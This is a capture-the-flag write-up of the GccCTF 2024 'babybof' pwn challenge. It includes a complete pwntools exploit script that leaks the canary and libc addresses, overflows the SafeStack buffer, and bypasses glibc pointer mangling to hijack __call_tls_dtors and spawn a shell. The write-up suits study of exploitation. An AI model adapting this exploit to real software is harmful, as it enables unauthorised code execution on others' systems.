[GccCTF 2024] Pwn - babybof
Introduction
This challenge was a part of the Gcc CTF 2024 organized by the French ctf team Galette Cidre CTF. I participated with Sleepy Hollowwhich I recently joined.
Attachments:
- libc.so.6 (glibc 2.37)
- baby_bof
Protection on the binary:
- Arch: amd64-64-little
- RELRO: Full RELRO
- Stack: Canary found
- NX: NX enabled
- PIE: PIE enabled
My setup
- Pwntools 4.12.0
- Binary Ninja
- Pwndbg
- Python 3.10.6
- pwninit 3.2.0
TL;DR
- Pointer mangling bypass
- Safestack bypass
- Redirect execution via
__call_tls_dtors
.
Linking the libc
I was in a world of hurt trying to link the libc given by the challenge author to the binary because it turns out that my linker was either too old/too recent (didn’t have time to check :p ) for the libc so I took the linker of another pwn (Flag Roulette) challenge of the CTF which as it turns out is compatible with our libc.
To link everything I used pwninit which makes everyone’s life much easier
1$ pwninit --bin babybof --ld lib/ld-linux-x86-64.so.2 --libc lib/libc.so.6
Decompiling the binary
As I said earlier, I am using Binary Ninja to decompile the file.
There is not much happening in the main
function:
1int32_t main(int32_t argc, char** argv, char** envp)
2{
3 int64_t rax;
4 int64_t var_28 = rax;
5 void* fsbase;
6 void* buffer = *(uint64_t*)fsbase;
7 *(uint64_t*)fsbase = ((char*)buffer - 0x50);
8 int64_t r15 = *(uint64_t*)((char*)fsbase + 0x28);
9 *(uint64_t*)((char*)buffer - 8) = r15;
10 var_28 = 0;
11 setvbuf(*(uint64_t*)stdin, nullptr, 2, 0);
12 setvbuf(*(uint64_t*)stdout, nullptr, 2, 0);
13 setvbuf(*(uint64_t*)stderr, nullptr, 2, 0);
14 banner();
15 while (true)
16 {
17 menu();
18 *(uint8_t*)((char*)var_28)[6] = getchar();
19 *(uint8_t*)((char*)var_28)[7] = 0;
20 while (((int32_t)*(uint8_t*)((char*)var_28)[7]) != 0xa)
21 {
22 *(uint8_t*)((char*)var_28)[7] = getchar();
23 }
24 int32_t choice = ((int32_t)*(uint8_t*)((char*)var_28)[6]);
25 if (choice == 0x31)
26 {
27 puts("Ask nicely enough, and I shall r…");
28 int64_t rax_5;
29 rax_5 = 0;
30 printf(&ask_input);
31 read(0, ((char*)buffer - 0x50), 0x1337);
32 ssize_t rax_6;
33 rax_6 = 0;
34 printf("\nYou say : %s\n", ((char*)buffer - 0x50));
35 puts("I say : lmao\n");
36 continue;
37 }
38 if (choice == 0x32)
39 {
40 break;
41 }
42 if ((!(choice != 0x31 && choice != 0x32)))
43 {
44 /* nop */
45 }
46 }
47 puts("You shamefully give up and won't…");
48 puts("I hope you are proud of yourself…");
49 if (r15 == *(uint64_t*)((char*)buffer - 8))
50 {
51 *(uint64_t*)fsbase = buffer;
52 return 0;
53 }
54 __stack_chk_fail();
55 /* no return */
56}
57
We can either “Ask for the flag” by choosing the option 1
or exit the program by choosing the option 2
.
Sadly for us, the option 1
does not really give the flag… instead we are prompted to “ask nicely enough” to be “rewarded with a flag” . This is where it gets interesting because the buffer in which we can write data isn’t assigned properly:
1void* buffer = *(uint64_t*)fsbase;
2[...]
3read(0, ((char*)buffer - 0x50), 0x1337);
4[...]
5printf("\nYou say : %s\n", ((char*)buffer - 0x50));
We might be able to leak pointers by using printf (which only stops spitting out data when it finds a null byte) and even better, we might be able to overwrite pointers on the stack because we can read up to 0x1337 bytes altough our buffer is only 0x50 bytes.
Sadly, it’s time to get back to reality, I found out from the functions __safestack_init
and that the binary uses a security mitigation which is called SafeStack
What is Safestack ?
Safestack is a security measure within the clang compiler to protect against stack buffer overflow. Basically it creates a separated memory region for so called “unsafe data” so that it’s impossible for us to overwrite return addresses on the stack and redirect the execution flow.
Taking the blue pill
For the moment let’s forgot about our terrible fate and let’s see which pointers we are able to leak. For this we are going to use GDB (which I use whith pwndbg).
First we are going to put a breakpoint on read(0, ((char*)buffer - 0x50), 0x1337);
and get the address from which it’s going to write data.
1$ gdb -q babybof
2pwndbg> b *main+235
3pwndbg> r
4
5================================================
6|| Welcome to my obviously vulnerable program ||
7================================================
8
91. Ask for the flag
102. Give up
11> 1
12Ask nicely enough, and I shall reward you with a flag
13>
14Breakpoint 1, 0x0000555555556bcb in main ()
15pwndbg> info reg rsi
16rsi 0x7ffff7ccbfb0
Now, let’s see if we could find something to leak (I removed every useless lines)
1pwndbg> x/610a 0x7ffff7ccbfb0
20x7ffff7ccbfb0: 0x0 0x0
30x7ffff7ccbfc0: 0x0 0x0
40x7ffff7ccbfd0: 0x0 0x0
50x7ffff7ccbfe0: 0x0 0x0
60x7ffff7ccbff0: 0x0 0x1732defde9a19000
7[...]
80x7ffff7ccc690: 0x0 0x7ffff7ea3580
90x7ffff7ccc6a0: 0x7ffff7eab440 <_res> 0x0
100x7ffff7ccc6b0: 0x7ffff7e4b4c0 0x7ffff7e4bac0
110x7ffff7ccc6c0: 0x7ffff7e4c3c0 0x0
12[...]
130x7ffff7ccc720: 0x7ffff7ccbfb0 0x7ffff74cc000
140x7ffff7ccc730: 0x800000 0x1000
150x7ffff7ccc740: 0x7ffff7ccc740 0x7ffff7ccd0e0
160x7ffff7ccc750: 0x7ffff7ccc740 0x0
170x7ffff7ccc760: 0x0 0x1732defde9a19000
180x7ffff7ccc770: 0x6d3973203a54e6af 0x0
19[...]
200x7ffff7ccca00: 0x7ffff7ffe0b0 <_rtld_global+4272> 0x7ffff7ffe0b0 <_rtld_global+4272>
210x7ffff7ccca10: 0x158 0x7ffff7ccca20
220x7ffff7ccca20: 0x7ffff7ccca20 0xffffffffffffffe0
230x7ffff7ccca30: 0x0 0x0
240x7ffff7ccca40: 0x7fffffffdb00 0x0
25[...]
260x7ffff7cccc50: 0x7ffff7ccca50 0x0
27[...]
280x7ffff7cccd50: 0x10000 0x0
29[...]
300x7ffff7cccdd0: 0x0 0x7fffffffdbe0
31[...]
320x7ffff7ccd060: 0x900000009 0x0
330x7ffff7ccd070: 0x0 0x0
340x7ffff7ccd080: 0x7ffff7ccc000 0x0
35[...]
360x7ffff7ccd0d0: 0x10 0x0
370x7ffff7ccd0e0: 0x1 0x0
380x7ffff7ccd0f0: 0x7ffff7ccc720 0x0
390x7ffff7ccd100: 0x7ffff7ccc698 0x0
40[...]
410x7ffff7ccd1f0: 0x7ffff7ccf000 0x7ffff7eb0f50
420x7ffff7ccd200: 0x7ffff7fc5c00 0x7ffff7e7017c
430x7ffff7ccd210: 0x7ffff7eb1000 0x7ffff7ec4a48
440x7ffff7ccd220: 0x7ffff7fc56f0 0x7ffff7ebebf8
450x7ffff7ccd230: 0x7ffff7ec5000 0x7ffff7fab108
460x7ffff7ccd240: 0x7ffff7fc51d0 0x7ffff7f9d490
470x7ffff7ccd250: 0x7ffff7fca000 0x7ffff7fca99f
480x7ffff7ccd260: 0x7ffff7ffe8a0 0x7ffff7fca504
490x7ffff7ccd270: 0x7ffff7fcb000 0x7ffff7ffe2c8
500x7ffff7ccd280: 0x7ffff7ffdab0 <_rtld_global+2736> 0x7ffff7ff6eb8
51[...]
just fyi, when I talk about
offsets
I am talking about the difference in bytes between the addr2 - addr1 which is equal to the offset between those two
So in fact there are lots of things going on here:
- at offset 72 we have the stack canary
- at offset 1768 we have a libc address
- at offset 1904 we have the address of our buffer
In order to leak those things, we will proceed as follows:
We obtain our data via the the printf function which as I said earlier, stops printing data when it reaches a null byte (\x00 in hex) . So for us to leak data, we must replace every null bytes between the beginning of our buffer and the address from whom we want the leak . We need to keep in mind that a line return (\n) character is added to the end of our input everytime we enter data so as an example, if the offset between the beginning of our buffer and the final address is 64, we need to send only 63 bytes because a line return will be added to the end of our string (which will adjust the string to 64 bytes).
I made this gif to help you understand, lol
Now that we have a few leaks, let’s see how we could redirect the execution of the program.
Back to the red pill
The common thing to do when exploiting an overflow on the stack is to send lots of data to see if we can crash the binary and thus, sometimes control the return address. If you remember well, it won’t be that easy here because of the SafeStack but we can still try to see if we can crash something.
The plan here, is to send lots of data and then exit the program with the option 2 to see if we have succeeded in overwriting something interesting. Actually, because of the stack canary being overwritten and crashing the program without us being able to do anything, I will now be using pwntools to avoid him being overwritten by first leaking it and then by re-writing him on the SafeStack so that it’s still here. Here is my python code to do all those things:
1from pwn import *
2
3elf = ELF('./babybof', checksec=False)
4libc = ELF('./lib/libc.so.6', checksec=False)
5context.arch = 'amd64'
6global p
7
8
9def send_data(data):
10 p.sendlineafter(b"> ", b"1")
11 p.sendlineafter(b"> ", data)
12 p.recvuntil(b"You say : ")
13 return p.recvuntil(b"\nI", drop=True)
14
15
16def leak_pointer(offset):
17 return send_data(b"A"*offset).split(b"\n")[1]
18
19p = process(elf.path)
20
21canary = u64(leak_pointer(72).rjust(8,b"\0"))
22info("canary @0x%hx" % canary)
23payload = b"A"*72
24payload += p64(canary)
25payload += b"aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaafdaaaaaafeaaaaaaffaaaaaafgaaaaaafhaaaaaafiaaaaaafjaaaaaafkaaaaaaflaaaaaafmaaaaaafnaaaaaafoaaaaaafpaaaaaafqaaaaaafraaaaaafsaaaaaaftaaaaaafuaaaaaafvaaaaaafwaaaaaafxaaaaaafyaaaaaafzaaaaaagbaaaaaagcaaaaaagdaaaaaageaaaaaagfaaaaaaggaaaaaaghaaaaaagiaaaaaagjaaaaaagkaaaaaaglaaaaaagmaaaaaagnaaaaaagoaaaaaagpaaaaaagqaaaaaagraaaaaagsaaaaaagtaaaaaaguaaaaaagvaaaaaagwaaaaaagxaaaaaagyaaaaaagzaaaaaahbaaaaaahcaaaaaahdaaaaaaheaaaaaahfaaaaaahgaaaaaahhaaaaaahiaaaaaahjaaaaaahkaaaaaahlaaaaaahmaaaaaahnaaaaaahoaaaaaahpaaaaaahqaaaaaahraaaaaahsaaaaaahtaaaaaahuaaaaaahvaaaaaahwaaaaaahxaaaaaahyaaaaaahzaaaaaaibaaaaaaicaaaaaaidaaaaaaieaaaaaaifaaaaaaigaaaaaaihaaaaaaiiaaaaaaijaaaaaaikaaaaaailaaaaaaimaaaaaainaaaaaaioaaaaaaipaaaaaaiqaaaaaairaaaaaaisaaaaaaitaaaaaaiuaaaaaaivaaaaaaiwaaaaaaixaaaaaaiyaaaaaaizaaaaaajbaaaaaajcaaaaaajdaaaaaajeaaaaaajfaaaaaajgaaaaaajhaaaaaajiaaaaaajjaaaaaajkaaaaaajlaaaaaajmaaaaaajnaaaaaajoaaaaaajpaaaaaajqaaaaaajraaaaaajsaaaaaajtaaaaaajuaaaaaajvaaaaaajwaaaaaajxaaaaaajyaaaaaaj"
26
27
28
29send_data(payload)
30pause()
31p.sendlineafter(b"> ", b"2")
32
33p.interactive()
The long ass string in the variable payload
is a string generated with the cyclic
tool from pwntools. The string has a specific pattern so that if the program crashes, I can find the offset in the string from where we can do interesting stuff.
Here is the crash that we get:
The program seems to be trying to load data from an address in the rbx register but since we have overwritten it, it doesn’t work because 0x6961616161616173
is not a valid address.
This is where our string with a pattern comes handy because we can find the offset from which we control rbx:
$ cyclic -l 0x6961616161616173
Lookup value: b'saaaaaai'
1816
By the way, the function where we crashed seems to be calling the register rax
which is great because we control it’s content since it gets its value from the rbx
register.
1mov rax, qword ptr [rbx]
2ror rax, 0x11
3xor rax, qword ptr fs:[0x30]
4mov qword ptr fs:[rbp], rdx
5mov rdi, qword ptr [rbx + 8]
6call rax
You might think that the instruction xor (which is a part of the pointer mangling security mitigation) is a problem but we actually control the content of fs:[0x30]
(we can see that by setting rax to 0 in gdb, the result of the xor will be fs:[0x30]
because
0 ⊕ 1 = 1 ) which in my case was equal to 0x6a6161616161616e
(offset 1976).
Another cool thing is that we also control the register rdi
because it’s equal to [rbx+8]
. We now have everything in place to spawn a shell since we can call an arbitrary function and we also control the first register (rdi in amd64) so we can call system('/bin/sh\0’).
We will set rbx to the address of the beginning of our buffer which will point to the address of the function system
, rbx+8 will be the address of the string /bin/sh
in the libc and fs:[0x30]
will be equal to 0 so that we won’t be bothered by the xor.
Let’s build our payload:
1
2
3payload = p64(rol11(libc.sym.system)) # first we put the address of system because it's the address that's going to be called
4payload += p64(next(libc.search(b"/bin/sh")))*8 # we spray /bin/sh so that the length of payload is 72
5payload += p64(canary)*208 # spray canary so that we reach the offset 1816
6payload += p64(stack)*27 # we put the address of our buffer and we spray it
7payload += p64(pointer_thread) # I didn't talk about this pointer but don't worry it was just a pointer that kept crashing the binary but it doesn't have any link with what we are doing
8payload += p64(0) # This is where we overwrite the key of the xor (offset 1976)
9
10
The last thing to do is to send the payload, exit the program via the second option and tada we have a shell.
~/GccCTF/Pwn/babybof » python exploit.py
[*] canary @0x6dce676b195d3600
[*] libc @0x7f5ee76cf000
[*] stack @0x7f5ee76cbfb0
[*] Pointer thread @0x7f5ee76cc740
[*] Switching to interactive mode
You shamefully give up and won't get your free flag
I hope you are proud of yourself, because I am not
$ uname -a
Linux Nombre 5.4.72-microsoft-standard-WSL2 #1 SMP Wed Oct 28 23:40:43 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
$
here is my whole script:
1from pwn import *
2
3
4
5elf = ELF('./babybof', checksec=False)
6libc = ELF('./lib/libc.so.6', checksec=False)
7context.arch = 'amd64'
8global p
9
10def send_data(data):
11 p.sendlineafter(b"> ", b"1")
12 p.sendlineafter(b"> ", data)
13 p.recvuntil(b"You say : ")
14 return p.recvuntil(b"\nI", drop=True)
15
16def rol11(value):
17 res = (value << 0x11 % 64) & (2**64 - 1) | ((value & (2**64-1)) >> (64-(0x11%64)))
18 return res
19
20def leak_pointer(offset):
21 return send_data(b"A"*offset).split(b"\n")[1]
22
23
24p = process(elf.path)
25
26canary = u64(leak_pointer(72).rjust(8,b"\0"))
27info("canary @0x%hx" % canary)
28
29
30
31libc_leak = u64(leak_pointer(1767).ljust(8,b"\0"))
32libc.address = libc_leak - 0x1d5580
33libc.address += 0x1000
34info("libc @0x%hx" % libc.address)
35
36
37stack = u64(leak_pointer(1903).ljust(8,b"\0"))
38info("stack @0x%hx" % stack)
39
40
41pointer_thread = u64(leak_pointer(1951).ljust(8,b"\0")) # get the thing that make us crash
42info("Pointer thread @0x%hx" % pointer_thread)
43
44val = rol11(libc.sym.system ^ 0)
45payload = p64(val)
46payload += p64(next(libc.search(b"/bin/sh")))*8
47payload += p64(canary)*208
48payload += p64(stack)*27
49payload += p64(pointer_thread)
50payload += p64(0)*8 # spray xor key just in case layout different in remote
51
52send_data(payload)
53
54p.sendlineafter(b"> ", b"2")
55
56
57
58p.interactive()
thanks to 0xdeadbeef (0x_deadbeef on discord) for the challenge which was really fun. I hope it was worth the read :)
numb3rs, raggasonic FTW